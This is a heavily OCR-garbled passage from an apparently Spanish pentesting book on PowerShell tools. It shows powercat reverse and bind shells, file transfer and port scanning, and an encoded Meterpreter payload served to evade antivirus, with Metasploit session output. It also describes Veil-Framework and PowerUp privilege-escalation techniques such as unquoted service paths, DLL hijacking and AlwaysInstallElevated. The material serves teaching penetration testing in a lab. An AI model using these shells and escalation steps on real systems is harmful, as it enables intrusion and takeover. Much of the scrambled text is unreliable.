top\pouercat—master) Import—Module .\powercat.psl

fduvertencia de seguridad
Ejecute solo los scripts de confianza. Los aprchivos procedentes de

Internet pueden ser Gtiles, pero algunos archivos podrian danar su equipo.
¢Desea ejecutar C:\Users\pgonzalez\Desktop\pouercat—master\pouercat.psl?
[N] No ejecutar [Z] Ejecutar una vez [U1 Suspender [?21 Ayuda

(el valor predeterminado es "N'>:Z

IPS C:\Useps\pgonzalez\Desktop\powePcat—master> powercat —c 192.168.56.102

p 4445

[—1 WARNING?! The following modules could not he loaded?

=1 /opt/metasploit/apps/pro/msf3/m0dules/payloads/singles/windous/xbn
l_acl_hind_tcp.rb: LoadError cannot load such file — msf/core/handler/hnw

T

Large pentest? List, sort, group, tag and search your hosts and seprvices

in Metasploit Pro —— type ‘go_pro’ to launch it nouw.

metasploit v4.8.2-20146101061 [core:4.8 api:l.
1951 exploits — 682 auxiliary — 198 post
[ 325 payloads — 32 encoders — 8 nops

Fig. 3.01: Conexion a Metasploit a traves del cliente powercal.
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NN

Dar y recibir shells

Una de las funcionalidades mas inter

e ‘ja.s mas interesantes de powercar es poder recibir shell

e . Para poder servir una s 3 ) il r recibir shells o enviarlas hac

i RS i I mr)).x shell se puede utilizar la instruccién pow L”/\ S8 Sl
RN HArhy = =€ Chid.exe, 2 og e “ g / ‘ercat —py

v la direccion TP dénde se sirveL] ¢ esta forma, cuando el usuario se conecte al P <puerto

con la misma instruccion, cambis a _( nnl,u‘u.vse podré ejecutar comandos nmeLO'pPLITL fhdmddo

ettt : . cambiando el pardmetro —e. ¢l cual es sendri s. Por otro lado.

¢l cual permite servir una PowerShell, se podri ’ ual es gencrico, por el pardme

A s werShell, se podria obtener un control mas potc]m d parametro e,

A b S T > S L . = [> P 3

: powercat ~l —p <puerto en el que se escucha | 0 ARt (2
e R a las peliciones> -¢

root@kali: # nc 192.168.56,101 9000 . s

lindows PowerShell ;

CO - + "
pyright (C) 2013 Microsoft Corporation. A1l righ

+s

ts reserved.

PS C:\Users\ 5
& \pgonzalez\Desk s 5
1lpaths\pablo.gonzalez top\powercat-master> whoami

C:\Users\paon,
zalez\Desk -
Fig. 3.0 sktop\powercat-master> fi

s s
2: Conexion a una powercat a la escuct ]
sctcha quie sirve una PowerShell

(‘omo enviar una she
: q : a shell o PowerShell : i '
e my./.S/u,// a un servidor? Esta seria la accidn i
. En este caso, la instruccion a ejecutar es power e i
puerto en el que escucha el equipo remoto> [- sy

X (/I‘/‘t'('('l" -"” /l Fen -
. 1 e
‘ i 4 (N](/.U\(' -ep l) ) ]dL C e ]’U \-’ - L
l.l) eslce CJCI ][ ,(). SC ])HI[L (.]UL una i u’ 'll Il a I -t [ ' L/ / n v V - .\.O]L t] . “' )
: -" : » ]I ) ."\ o ’ I.) 1m iL‘ LNE L//H’.\ tiene la :\lLUiLIHL in%‘l U(Li(' 1 L"L(l t ld 1. ! ‘ :
YN Y deSdc //lr,/()ll L] usuario envia Iil ['U {= S‘/ (- /' é 'i' I S i ] : S5 ll - /
N ‘ S . ¢ a ¢l servidor a lrl €scuce
” L\ ) CNy wep el nacia d l¢ N th(l.

-1
/

\User )
ers\pgonzalez\Desktop\povercat—master

-\povercat.psi

ldvertencia de seguridad

Ejecute sol scpi
, o los scripts de c

s S onfianz
Internet pueden sey (ti anz

) a. Los archivos
tDesea ejecutar C: prero algunos archi vos procedentes d
2 :\Users = s archivos i =2 €
[ﬂ; No ejecutar [Z] Eg;csgg:n«alez\Degktop\pouercggg;;fg daffiar su equipo.
3 Uiaoglpiedeterminado es "Nﬂg?z"ez [U]1 Suspender [;]easﬁggercat-D31?
sers\pgonzalez\D > ;
C:\Useps eSktOp\ ower ="
exo\pgonzalez\Desktop\gng;g:E—ggggggi

S C:\Users\
G 22 0
p 9000 -ep pgonzalez\Desktop\pouercat—-master> powercat 19
' —¢ 192.168.56.182 —

Fiw. 3.03 Envi
g 3.03: Envio de "owersS ! 1 i Loy
1L 1 PowerShell a una maguina Lin

a la eseucha con neteat

Transferencia de archivos

PU“""
ercar [)T() Ore| ibili
1ona la pos l‘ lid:
P 2 a posibi idad de realizar transf ‘enci
- e allizar transferencias de
Im-'ld ql'llpn C |!(||[(' y ofro de sery idor, Par ' et
itpucdc Cjecutar la \"‘.Illii’l] f6n.

ik i archivos entre dos sistemas. Un

a enviar un fichero desde un equi :
i Nices sde un equipo a través de

e mnstruccion power: ; ; i [UIpo a traves de power
/ powercat —¢ <direccion TP l

el
(ol

SCuche ;

1el e ) s
. equipo remaoto remolta=> -p <puerto en
escucha, sl

YSualizarse

. / / /

por eje ruta local del fichero a enviar
ciemplo. a través de pow
en la imagen. |

. De este modo el sistema que esté

ercar o nelcdat re 1¢ ( ClC { ( §
1'ca (&4 cl1omra el contenido LIL |Ll|L con ’l ;
Cc

L. o't@l Fne =1 — -

c -L -p 9000
exto del fichero enviado!
bowercat! i

Fig, 3.04: / ‘o de 1lenic e uin fichenr TaVes ( 1eal,
g .04 i f N i /
[ contenidr de un fichero a t aves de /
: powercal,
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s |

—noni indica que serd una ejecucion no interactiva, Y por dltimo. el
parametro —enc indica el codigo a ejecutar encodeado.
:\Users

- v = 1 ‘1 / ’\/ { en ‘ |[ o .
‘ ara ‘d u,ep(,l 1 1:? in ero se puedce € ecL Lar la iguiente 1stru 10N POWETT atl 2 wuerto e

1 DS ] ued j & Sigl 1 mnstru

U C

on d CcC

i > De este modo, sia
) senar el contenido>. De €

/ f <ruta local del servidor donde almacenci el g Ay -

st b ario, € ¢
el que se escuc ) : : :
3 i arta inform
‘aves ocket se envia clerta
: traves del socke

i o] pard ‘0 —0f.
extension indicada en el parametro )f

4 \pgonzalez\Desktop\powercat—masten T P e
acion. ya sea texto o un bin

fdvertencia de seguridad
[Ejecute solo los scripts de confianza.

Los archivos
lprocedentes de Internet pueden

ser dtiles, pero algunos
rchivos podrian daiar su equipo. cDesea ejecutar
- \Useps\pgonzalez\Desktop\pouercat—mastel‘\pouercat -psl?
. at y : 2
P con Powerc A 65 del parametro — [N]1 No ejecutar [Z] Ejecutar una vez [U] Suspender
Escanear puertOS TC basico de puertos abiertos a través del p‘. i T [?1 AyudaCel valor predeterminado es “NV): Z
de realizar un escanco DASIC <) | 94 Jnowercat —¢ <direccion IF IPS c:\Users\pgonzalez\Deskt:op\pouercat—mastev) powvercat —1 —-p 9808 —i C:\lUs
Con powercal S€ pue. ion (<puerto o listado de puertos=) | 7o ']‘d ertos abiertos. Como ers\pgonzalez\Desktop\shellcode.txt —rep
oy sicuientie instruccion (SpPue S escaneo de pu B & PS C:\Users\pgonzalez\Desktop\pouercat—master> povercat -1 —p 9088 —i C:\Us
Verbose. La sigu i ¢ -t 1 —Verbose—d} permite lc.ﬁ\{z"‘r uﬂ ,;/. rmowercat —¢ 192.168.56.102 ers\pgonzale=\Desktop\shellcode.txt —vep
remola a escanear> -p a_ . \i6n de esta instruccion (80) | 7o ipc - i T dnee PS C:\Users\pgonzalez\Desktop\pouercat—master> pouwercat —1 —p 9088 —i C:\Us
: s otico se propone la gjecucion v uede contemplar en la imagen. ers\pgonzalez\Desktop\shellcode . txt —rep
ejemplo prachico se P 1»pl | ofrecera una salida como la que se p
. -d/. la cua
8§ -t ] —Verbose —d;.1a
p 8_-1

7 jeprcat —c 192.16
onzalez\!')esktop\powcrcat-mas 5 7 {pouerca

B.56.102 -p > gf:,-jéa;.ut;?])%zg =g En la imagen se pue@e visualizar como se sirve con powercat ¢l fichero con |

gg%ggg; Sgt S'n‘e?\; %ngg;sgle 3 4 shellcode en su interior. |

E%S'ﬁ?fé%%-i S%EEE":EEI!&‘W 192.168.56.182:80 [tcpl succeeeded!

;3 Stream 2.-- A A
E}S‘I“kggg' §fl“('z\r:':gc:;lr3nect) fictivated. Disconnec
IDE -

i Y e

po: Closing Stx.eam

ggk%no Closin Stxeam s
Fig. 3.03: Escaneo hasico al pueric

Fig. 3.06: Powercat sirve wn fichero con la instruceion para efecutar Meterpreter:

a instruccion y la
a instruccion a ejecutar es powercar —| =P <puerto en el que se escucha
-i <ruta local donde se encuentra el fichero>.

Desde la maquina Windows 8.1 el pentester puede lanzar powercat para crear una conexion y recibir
¢l contenido del fichero remoto. Es una buena forma de evadir ciertos elementos de segurid
como podria ser un antivirus. Una vez se obtiene el contenido se puede

posteriormente copiar y pegar en la PowerShell.

S SIOLT,
qui emiala Coit powWeree
80 de una maquina rem !

ad.
almacenar en un fichero ¥

. . cat PS C:\Users\Administrator\Desktop> Import-Module . \powercat. ps1
i ion de Shellcodes desde Power .t . P5 C:\Users\Administrator\Desktop> powercat -c 192.168.56.101 -p 9000

PoC: Descargay ejecuclo e oorcat para obtener la instruccion necesaria powershell -nop -windows hidden -noni AAXACAAPQAGACCATAB JACAAPQAGAC
" iente prueba de concepto se va a utilizar p U““(-Li\‘ ero encodeada con 1a que tomar el EU:S&;::E:!B?SE:gaigég;:gg:ﬁgga::ggggijgﬁaaé\gjgﬁgég?:\:g:??ig:(C::;\‘é'ggg:gg
'n la siguien 0 : N oterprefer INVerso, @ e AGWAbwBJACg! : AHIATABsSAH, AGQACgB TAHMACWASACAA AG4A
Eala s cutar una shellcode, en este caso un Meterpreier 1 scenario se cuentan con las siguientes EEAbABSAGBAYWBhAHQAQBVAGIAVABS AHAAZQASACAAQBPAGIAJAAGAGY AbABQAHT AbB OACUA
para gjecutar una s/ de se encuentra el pentesier. Eneste € Gl.!:\chuAGUAbA—’\zADIALgBkAG‘.\'.AbAA'iACkAXQB'.\cAHUAYng-’\GkAY-.vAgAH!-!i\dABhAHQAaQBjAC
control del equipo donde se 'EEL\dL\B1_AFQAaAByAGU.-’-\YQBk!\CgASQBuAHQAUABOAHIAIABsAHAA\;’ABoAHIAZQBhAC-QA*QBO.AHQ
b s \ . oenerar la shellcode encodeado. FO-‘«YQBJ-’\GsAU\\'Bp,AHoAZQAsACA.ASQBuAHQAUABOAHIAIABsAHAAU'.\'BOAGEAchOAEEAZABkAHI
maquinas: . Social Engineering Toolkit para gencrt il GEAthﬂAHQAZQByACwAIASlAGkAbgBO.'—\CAAZABSAEMACQB'!AGEAdABp,AGSAbgEG-’\G'.\'AYQBnAm
- Maquina Kali Lim CORSOCIETETETZ "™ © e powercat, €l fichero creado en EKAZAAPADS ANWBEAGWADAB JAGOACABVAHTAAAOACTABQB ZAHYAYWBYAHQAL GEKAGIADAR AC s
Maauina Windows 8 en la que se servird, a traves de / ZQBYAGIATABIAGA AdABQAHQACGAGAGOAZQBEAHMAZQE 0ACGASQBUAHOAUABOAHT AT ABK AGL A

- Magquina Windows - = I:\8JAGSAdQBuAHQAKQA?-’\Cc_AJ-.\-AT’ACQAd'n'AgADOAIABBAGQAZAA’CAFQAEQBL\’AGU.-’\IAAtAGO

maquina Kali Limex. anzara powercat con la intencion de s MATAAEAE4AYQBEAGUATAATAF cA2QBUADMAMGAT ACAAL

QBUAGEABQB ] AHMACABhAGMAZQAGAF CA
) P - el pentester EOAGgAcgBlADsAh\vBC.AHkAd.ABTAFSAXQBdADsA’n‘.\vBCAHk‘-\dAB1AFsAXQSdACQAC-\' JACAA
- Maquina Windows 8.1 enlaqueely

3 DA E-\A'-\'ADA.-’-\LAA\\'AHgAMAL\\\'AC\\'N'IAB4ADA4NAASADA-’\EAAZADAALA-'X\\'AHQAOAASAC&\'N'1AB4AGU A
el fichero de la mﬁquiﬂﬁ Windows o. .‘-.*e=‘\-'\4AGIALAA\\'AHgANQAyACwAMAB4AD~1A!-1A.-‘\5ADAAeAAf#AGIALAA\\'AHgANQAyACwAMAMAD A
’ Fig. 3.07

a maquina Windows ¢ Obtencion de shellcade creando conexion con el servicor

8.1. Tras ejecutar eS8

e sirve en |
; s] fichero que se SIve €
ez el pentester obtiene el contenido dd‘ﬁd/le:] 1}1 méquina Windows ;
L i .'L..d,-". la instruccion en una PowerShell ¢ Ld~‘ ccion 1P donde se haya configurado.
coplara y pegatd ida 1 a direcc

Hay que tener en cuenta que cuando se recibe el contenido a tr
a maquina en |
-4 el control de la maquina €
etruceion se obtendra el contro
instruccion s€ 0

aves de powercat. el codigo encodeado
y b Puede contener saltos de linea donde antes no existian. Por esta razén. se recomienda que se copie en
il ar, ; Recte 4 : : e
.« a detallar los pasos. En primer qu‘:_ a W notepad y se supriman los saltos de linea, quedando una sola linea del codigo encodeado.
je la prucba de concepto se va a detalis? = ‘hero a la maquina servidord, .
Tras el breve resumen de . oine Toolkit se debe pasar el fichero a 1
| Engineering looikil <

- on con la siguiente form Tras |
tnica instruccion o —nop indicd
ntomo

a ejecucion de |
configurag
Yelerprete

~8 con Socia :
~nerar el fichero co1 2 Bty e una
generd 8. El fichero contien

5 s, Iy 0 ~ ~émelr0
.ste caso la maquina Windows ; . <shellcode encodeada>. E par 4enune
oo Il —nop —windows hidden —nont —enc =SHE : 1a instruccion se ejecutara en
Eme A'ml file. El parametro _windows indicasi |a

3 e utiliza un projile.
que no se util

a instruccion en una PowerShell se crea la conexion inversa hacia la direccion
a en Social Engineering Toolkit. El control es devuelto a través de

una sesion de
""que es ejecutado en la maquina con Windows 8. 1.
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msf exploit (handlexr) > exploit

[*] Started reverse handler on 192.168.56.101:4444

[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 192.168.56.103
[*] Meterpreter session 1 opened (192.168.56.101:4‘}‘1’: -> 192.168.56.103:49450) a

t 2015-06-07 16:09:16 +0200

mecerpreter > getuid
Server username: pshell\Administrator
meterpreter > sysinfo
Computer : BSHELL
05 . Windows 8.1 (Build 8600) .
Architecture : x86
System Language en US
Meterpreter : x86/win32
meterpreter >
Fig. 3.08: C Yotencion del control remato de wna maquing & trav

&5 de PowerShell.

3. Veil-Framework

Veil-Framework es un conjunto de herramientas que permite preparar diversos ataques centrados en

la evasion de antivirus y mecanismos de deteccion. ;De qué consta hoy dia Veil-Framework? Hoy
dia esta framework tiene:

Veil-Evasion. Una herramienta que permite generar pavloads con un enfoque de evasion
y lenguajes de programacion.

de antivirus, utilizando para ello diversas técnicas
Veil-Catapult. Permite trabajar con payload de tipo psexec-style.
- Veil-Pillage. Funcionalidades para post-explotacion.

_ Veil-PowerView. Una herramienta en PowerShell que permite escalar y obtener
informacion en entornos Windows.

siguiente direccion URL de github htips: [fgithub.
il que pueden ser utilizadas en
En este apartado se hablara de

Veil-Framework puede descargarse desde la
com/Veil-Framework/. En este libro se hablara de las partes de |
PowerShell con el fin de llevar a cabo acciones de un pentesting.
las PowerTools. centrandose en explicar las posibilidades que ofrece y en ejemplificar a traves de

pruebas de conceplo. ;Qué elementos componen las PowerTools?

B |

Nombre Descripcion

Conjunto de scripts que contienen secuencias de comandos. los cuales
utilizan un patron comun, con ¢l fin de ejecutarlos y publicar resultados a

P(’H'/’r'\l’/)('n'
través de un servidor web

peresn——
amplia variedad

Conjunto de hackdoors que proporcionan al usuario una

PowerBreach de métodos de instalar una backdoor en un sistema. PowerBreach focaliza

en memoria y no persiste después de un reinicio

Capitulo 111. PowerShell puro: El arte del
. - { C =4

r Nombre

PowerPick

pentesting

‘\ W

Descripcion

Este provecto fi :
DIESE: 1 eclc ral1z: St 8 >
o II‘J o .'dl()c aliza en la gjecucion de funcionalidades de PoywerShell
SIN la necesids s 1141 lizar ~ Lol rowersShell
esidad de utilizar PowerShell. Utiliza ensamblados NET -
Sclll a N 2

SO S . para
gjecutar scripts de PowerShell para

Herramient: > permi [
“’m(/(.” 21‘1 que permite realizar escaladas de privilegio en siste
l‘.s‘. = » 15> o 5 iy s '
.. ontiene varios métodos que identifican v se .
servicios erables i .
vulnerables, DLLs que permiten aprovecharse

PowerUp o
aprovechan de

. configuracione

de registro vulnerables, etcétera =

Pz Herramienta en rerShe :
erVien : PowerShell que permite obtener una situacion de ventaj
S > ventaja

K e 1 b oo i
la red y dominios Windows. Orientado a Active Di
d ; 4 rectory

Tabla 3.03: Elementos e fon oy e € B
o CINERTON GUE mer Pow 218 -2 i, o
i / it PowerTools d etl-Fran 1eWork

PowerUp

PowerUp es conj i
f l. P es un conjunto de herramientas de PowerShel/
en sistemas / f i S
sistemas Microsoft Windows debido a malas confi
\ 4/-1 IS . e =) . 3 i i
cripts contienen varios métodos para identificar
como realizar DLL Hijacki o,
ar DLL Hijacking, detect

que permite realizar escaladas de privilegios
(8] ‘ac S “hih : : :
guraciones o debilidades. Este conjunto de
& ¢ . o i s M 1 -
g I , iprovecharse de servicios vulnerable

[osilissp : ar configuraciones erroneas I o
localizar oportunidades de escalad | siste i b
. scalada en el sistema. Desarr ¢ i
e S . Desarrolle ?
inleriormente, forma parte de Veil-Framework s

A

dSl
_ Vindows y pade
WharmiOy y. como se menciond
En PowerlUp s
" L S¢ *ACHn enc r i1
P se pueden encontrar diferentes categorias. como
> cgorias, como son:
[ racion de servici
-numeracion de servicios y debilidades
- Aprovechamiento de debilidades en servicios
V N e I 95N
DLL Hijackine.
Chequeo de configuraciones en el registro

- Helpers y otros.

Para la enu £z

ara la enumeraci PPN .

e cion de servicios y debilidades se disponen de varias fi

estra una breve descripeion de ellas: ¢ varias fu
ad.

[T

T 1 . A e :
1Ic1ones. A continuacion se

Funcién
Descripcion

(‘1‘['/* S’(‘/'l'/‘('. ( ! )\.\ ULI\'C_‘ . S QO de Ser 1CIOS > o
% 18/ L] IIA ¢ CIVICIO ¢ no [e a
)(/IN)I'( (/ d 108 [ 1€ NC nen entre coi ]i“'l\ ll
€ < 2SS

puaths dénde se encuentra el binario

(‘ g & ¢ e SR 7V ind )‘ B f > is i
1el-Servic eLXEPerms Devuely ecl listado de sery icios donde el actual usuari i
‘ ¢ suario puede

sobrescribir la ruta del binario

Get-ServicePer Devuelve el listado d o
icePerms elve el listado de servicios que el actual usuario pued
F @ nuede

modificar

Tabla ) nciones ( e N 2 Ve ade

7. SrunRcion:

1.04: F nes para la enumeracion de servicios § /L'/’I/I(Ilrl \)
C
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Pentesting con Power
fi iones erréneas en servicios o Get-ServiceEXEPerms y Get-ServicePerms, ya que &stas permiten saber qué permisos tienen los
configuracion binarios'y §i los servicios se pued T
; . ss para poder detectar con i £ ST § DosShiaPein
g, 1 fi ‘mPOY‘am;S P? ’(?nquoted permitird detectar rutas de binario que |;]o ste
R .y 16 -Service 4 A | : | ’ . | | | ”
en su instalacion, La funcion ?el esi se crease un binario con el mismo nombre que la ruta asta i 55T L i st iz e
. ot G i ervicio i 205
encuentran entre comlll";s',p(:r-ecu(t]ar dicho binario. Por ejemplo, supdngase que se tlenirznc .; o o e e g
By pHITTICE BSPAACID, 36 PO ntar1 -::n la ruta \program files (x86)\binario.exe. Al no _eljta; .e1}11 7 e en,
e . si se escribe dicho " s
B, (s s encia que se va a buscar es prograim.exe. por lo que sl se s e e —
la primera ocurr Y i 4 el binario con el privilegio q . - - -~
ta. cuando el servicio arranque se gjecutar Invoke-FindDLL Hijuch ncuentra oportunidades para realizar hijacking de DLL en los
e itos por el -
i s binarios pueden ser sobrescritos p
1 sPerms tectar qué binarios p
unci _ServiceEXEPerms permite de

La funcién Get-Service

distintos procesos que se ejecutan en la maquina
ion. Esto es algo muy interesante en un pentesting, ya que yasea Cg"bg']:f:? Encuentra el parh dénde se puede realizar el hijacking
i la funcion. Esto es s o o avés de esta debilidad,
usuario que lanza oto a la méaquina, se podria gjecutar codigo arbttraflo_;l tl‘ (x86)\empresal binario Tubla 3.06: Funciones para realizar DLL Hijacking.
4 " o (2, 7 ¥ o
it rcl:/1icio A, cuyo binario se encuentra en \a ruta \program files ..(\’ e e
5 ser . N5 suari
SUPog_gTSC ;:rmism de este binario no han sido bien configurados, el usu
exe. Si los S

sobrescribirlo. por lo que podria obtener privilegio.

Invoke-FindPathHijack

[unciones
a su ruta completa, Windows

Las aplicaciones utilizan las funciones LoadLibrarv() o LoadLibrarvEx() para cargar
adicionales linkando con una librerfa dindmica. Cuando no se especific
4 - ciog pueden ser modificados por el actual decide el ordcn de biisqueda de la.DL[., empezgndo por el directorio actual del proceso. Entonces,
. A 1 ¥ : - . o | CES I 3
La funcién Ger-ServicePerms permite detcctart?uc‘ Sewi;aur:ci()n del servicio provocando que se ;‘, VUL amaiy abre ”l“ ﬁch‘gj_’;‘Ed‘?Pl_"» U"d' aplicacién vulnerable a DLL Hijacking y

s > tacante cambie la Conig 2 corvicios se disponen irectorio se encuentra una . maliciosa, la ¢

. sto puede hacer que un a : ades en servicios se disp . | o e
usuz;rlol- i L mayor privilegio. Para el aprovechamiento de debilidade puede conseguir la ejecucion de codigo.
. un B

pueda lograr u Y
de varias funciones.

en el mismo
ual ha sido renombrada como la original, otro usuario

Por ejemplo, si una aplicacion que carga un fichero de datos cifrado y para descifrarlo necesita
i i6n se muestra una breve descripeion de ellas: utilizar una DLL externa, la cual ha sido sustituida por otra maliciosa, se podra ejecutar cddico
n S 3 193 . X ¥
A continuacic cuando la aplicacion cargue la nueva DLL para poder descifrar el fichero.
seripeion ; . , ; 5 . i
Funcién Descrip - Para realizar chequeos de configuraciones en el registro existen otras fi unciones. A continuacion se
s qe ¢ ~ Tl . .4
Modifica un servicio modificable para trc:;r un usuario y muestra una breve descripcion de ellas:
o P g inistradores
Invoke-ServiceUserAdd afiadirlo al grupo de adminis - = o
S T fadira sua- n
Se crea un binario que lanzara un servicio y alTadna un u ; uncion escripcion
. sciente al grupo administradores. El usuario po 2 Esta funcion chequea si la clave de registro AhvavsinstallEle-
rio pertenceiente al & /123!, aunque hay Get-RegAhvavsinstallElevated - :
Write-UserAddServiceBinary defecto es Jhon y su contraseiia Password /2., aunq vated se encuentra activa o no
Mrite-Use p ¢ el < A 4
paramelros para cambiarlos GetRasditoloon Esta funcion chequea para detectar configuraciones erréneas
S \ un binario que permite gjecutar un comando de cmd & 6 de Autologon en el registro
e cred - ) s
\ > o e > un servicio St
Write-CMDServiceBinary pcrsona\izado a través de la creacion deu Tabla 3.07: Funciones para realizar el chequen de configuraciones en el regisiro,
' > i ue anade un
: : un servicilo por uno g i " )
Reemplaza el binario qe. wrador local al sistema La funcion Ger-RegdlwaysinstallElevated chequea si en las ramas HKLM y HKCU del registro de
sy I A o ’_ arl 18U H y 3 A 8 g 3
Write-Service EXE usuario admin — Windows esté activo o no AlwaysinstallElevated. En caso de estar ambas con valor de 1, se podria
Reemplaza el binario de un servicio £on uno que ¢j Gjecutar un instalador MS/ con cédigo arbitrario. pudiendo elevar privilegio o realizar acciones
Weite-ServiceEXECMD comando personalizado s como la de crear un usuario administrador. Si esta funcién devuelve true, se podra utilizar la funcion
T jormen- Write-User- . e . : & anlicapis B e
Restaura un binario de un servicio reemplazado anter b © Ls_uAddAxI..S‘I.par'fx generar t?l instalador MS/ que proporcione una aplicacion que permita crear
staure A, usua f
Restore ServiceEXE te por el binario original -y ario con privilegios en el sistema.

- . sy SePCIOS: .
Tt bl - I cione. para el apr echantietit de de ” Jades en servicios. l | i l [ '
ania 3.05: Funci 'S P 7o 7 ) {fehilia i 1 ) l
s €ros
mn (& v I i rov I - de COIIﬁgUIa ||llac1()n ﬁ h

s que proporciona PowerUp es un conjunto de scripts basados en ayudar con
0 acciones a las demds categorias vistas anteriormente. A continuacion se
.t muCS".a un b d . . d ” "
: funcion 4 breve descripeion de ellos:
bo una obtencion de privilegio. Ciertamente, estan ligadas a la
.. a ca 0 u
en servicios para llevar
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Descripeion
Proporciona un informe con los resultados de las funciones de escalada
de privilegios que se han estudiado en este apartado
Genera un paquete MS/ que proporciona una aplicacion para cr
usuario como administrador u otro grupo de usuario
de éste. Puede ser util para

Funcién

Invoke-AllChecks

ear un

Write-UserAddMSI

Arranca un servicio a través del nombre
utilicen funciones de generacion de binarios para sustituir a

Invoke-ServiceStart cuando se¢
los binarios de servicios legitimos

Invoke-ServiceStop Detiene un servicio a través del nombre de éste

Invoke-ServiceEnable Habilita un servicio

Invoke-ServiceDisable Deshabilita un servicio

Devuelve informacion detallada acerca de un servicio

Get-ServiceDetails

Tabla 3.08: Funciones Helpers de PowerUp.

6n interesante, quiza sea una de las primeras

La funcién Invoke-AllChecks proporciona informaci
se mueve el pentester en el

funciones que deberian cjecutarse para conocer el contexto en el que
ar en la imagen, la funcion retorna informacion so
prabar un posible bypass UAC, los servicios
os binarios de los servicios. los %PATH%

-.'u.\'_\‘lnxml/E/('\'u/cu'. eteétera. Un buen

equipo. Como se puede visualiz bre la pertenencia
grupo administradores con el fin de com
sus rutas entre comillas, los permisos de |

del usuario al
que no tienen
para un potencial hijacking de DLL. los valores de la clave Ah
asesoramiento en la propia salida del scripl.

restmen rapido con

PS C:\Use»s\pgonzalez\Desktop\Poue»Tools—master\PowerUp> Invoke—AllChecks

Running Invoke—-Al1lChecks

user is in a leocal group with administrative privileges...
nts administrative privileges?
rivileges to admin.

to determine exact membership.

Checking if
User is in a local group that gra
Run a BypassUAC attack to elevate p
Run ’Invoke—CheckLocalAdmin —Uerhose’

Checking for unguoted service paths...

Use sUpite—UserAddServiceBinary’ or i prite—CMDServiceBinary’ to abuse
[+] Unguoted service path: Mobizen plugin — C:\Program Files (x86>\RSUPPOR
T\MohizenSeruvice\MobizenService.exe

[#%]1 Checking seruvice executable permissions...

[%]1 Use ’Write—ServiceERE —SeruiceName SUC’ or ) ypite-ServiceERECMD’ to ab
se

[+]1 Uulnerable service executable: Mobizen plugin — C:\Progran Files (x86)
\RSUPPORT\MohizenSeruice\HohizenSeruice.exe

[%] Checking service permissions. ..
Fig. 3.09: Reporte de resultados de las finciones de escalada de PowerUp.

orden:
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|~ ~1 5.V n Pt I
runciones como Write-UserdddMST permiten cr
aplicacién donde configur: 3
Wfigurar el usuar ¢ i
e _411/1 ir ¢l usuario que se quiere crear vy e grupo al que perten
I &S c C AIWwavs. . YD 4 o 3 i . : s wesidoy s ;
i :_\ sinstallElevared se podra realizar una escalada de pri\:l ; L‘\;;I[e s
: arrancar y parar servicios i : el
“ 3 os de manera senc : . i
en cIertos mome s vara lanzar T A resnaill, las cusles pui Ui
ntos para lanzar servicios que utilicen binarios manipulad —
S ulados.

ear paquetes de instalacid
paquetes de instalacion que aportan una pequena

(0)) L"l““l(). se trata lcl categ 14 OLros qu oporciona IWE ]
l ) < goria « (.I e pl l (8] s P( (<]
= /

breve descripcion de ella: A continuacién se muestra una

Funcién
Descripcion

(7/ 3777 2 2, ¢ ile L: i 10 l l
el ( /]ll/,(/1(/((./1”.\’[]//[' l/{;\ . . - o - R I "

> ener
IniOl‘l’nﬂCl(m Sel'ISlb]e

(I(" =¥ (} I & SL¢ =
(% / ¢
g C h quea ,()S th 0S We /7 L()H}T&.’ er l)l Sca de Sirty
I ” 20Confle € €ro 198

Get-ApplicationHos Chequea e T
t-ApplicationHost Juea el pool de aplicaciones y las contrasefias de los di
* asenas s directo-

rios virtuales

Invoke-Checlk sl L ; Chequea si e StraF i
v eckLocalAdmin quea si el usuario es realmente un administrador local de |
2 Cdl dC |a

. . \ g
mé ' < S dc Zie Oln. C C adl CN L / /(I\ {
iquina [ Lo pue 1 se 1 ( yara ‘nsa 1 WD ) A (

Tabla 3.09: F,
iirciones de la categor,
1 nes de la caregoria orros de Powerl I

PoC Confiarssed .
C: Configuraciones erréneas en servicios que

Enesta prueba de con permiten escalada de privilegio

cepto se trataran ¢ S i
pto se trataran algunos fallos que pueden encontrarse ¢
= s S >

los cuales pueden nr .
cuales pueden provocar la escalada de privilegio nunentorno Windows,

N a El escenario es el siguiente:
‘suario sin privilegio y acceso a una PowerShell 3.0
- Equipo con Windows §. |

- Sl Ao Prvainid 2
Scripts de PowerUp en el equipo.

En primer lugar, se tratara &l proble

quél o (’u.‘m .I'l)dtz:il:l el problema de las rutas sin comillas de los
un problema? El problema se produce debido 7

un serviclo, que en muchas ocasiones se ejecut

encuentra el binario no esté entre comi” -

binarios de los servicios. ; Por
s x» o]l deacarre I .
a que el desarrollador de la aplicacién crea
a con el maxi e privilegi de:u
S on el maximo de privilegios. y la ruta donde se
las, ]F ocando que al pasar esta ruta a services. exe para

Tak i1 ston. Esta confusion viene S~ e
e i 1Is10n viene dada por f s |

ades, por lo que va probando nombres de fichero en el i e

el sistema.

Se e A ot -t H
¢ lance el binario pueda existir confu

Para ejempli
a eie SHPEERT &
Jemplificar esto. se propone un servicio A. con |

Update\So o 7 aruta C:proore g
pdate\SoftwareUpdate Admin.exe. Cuando esta rut “\program files (x86)\Apple Sofiware
b < id .

a es pasada a services.exe, se sigue el siguiente
- Selanza C:\program.exe.

- Posteri 2, Se
eriormente, se comprueba en el siguiente espacio C:\program fi
g \program files (x86)\Apple.exe

Después, continua ¢ :
Pucs, continua con C:iprogram files (x86) Upple Software.exe
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ue en caso de encontrarlo se gjecutara.

Asi hasta encontrar el binario, q
oportunidad al pentester, ya que puede generar un binario malicioso y colocar
paths intermedios. En esta prueba de concepto, el pentester tras lanzar la funcion Get-Service.

Esto abre una serie de
lo en alguno de los

—Servicelnguote

rs\pgonzalez\Desktop\'ouerTools—mas

Path

KBeruiceName
C:\Progranm Files

ohizen plugin

(x86>\RSUPPORT\M. . .

S C:\Users\pgonzalez\Desktop\PowerToo19—master\PouerUp> (Get—Servicelnquot

d).path X :
:\Progranm Files (x86)\RSUPPORT\HohizenSeruice\ﬂohlzen Service.exe
S G:\Users\p onzalez\Deskto \PowerTools—master\PowerU >

Fig. 3.10: Detecc ion de un s¢

wvicio sin comillas en la ruta del binario.

| servicio vulnerable, se debe generar ¢l binario que intercalaremos en alguna ruta

Tras detectar e
intermedia. Se puede generar de muchas maneras, y pens
ado, pero para la prueba de concepto se h
s/meterpreter/reverse_Icp de Me

ando en la evasion de antivirus para que el
binario no sea detect a ilustrado con una generacion rapida
y sencilla a través del médulo payvioad/window: tasploit.

Fig. 3.11: Creacion del binario malicioso.

da escribir. ya que hay que tener

oloca en la ruta intermedia dénde se pue
Tras verificar que se

as donde no pueda escribir.
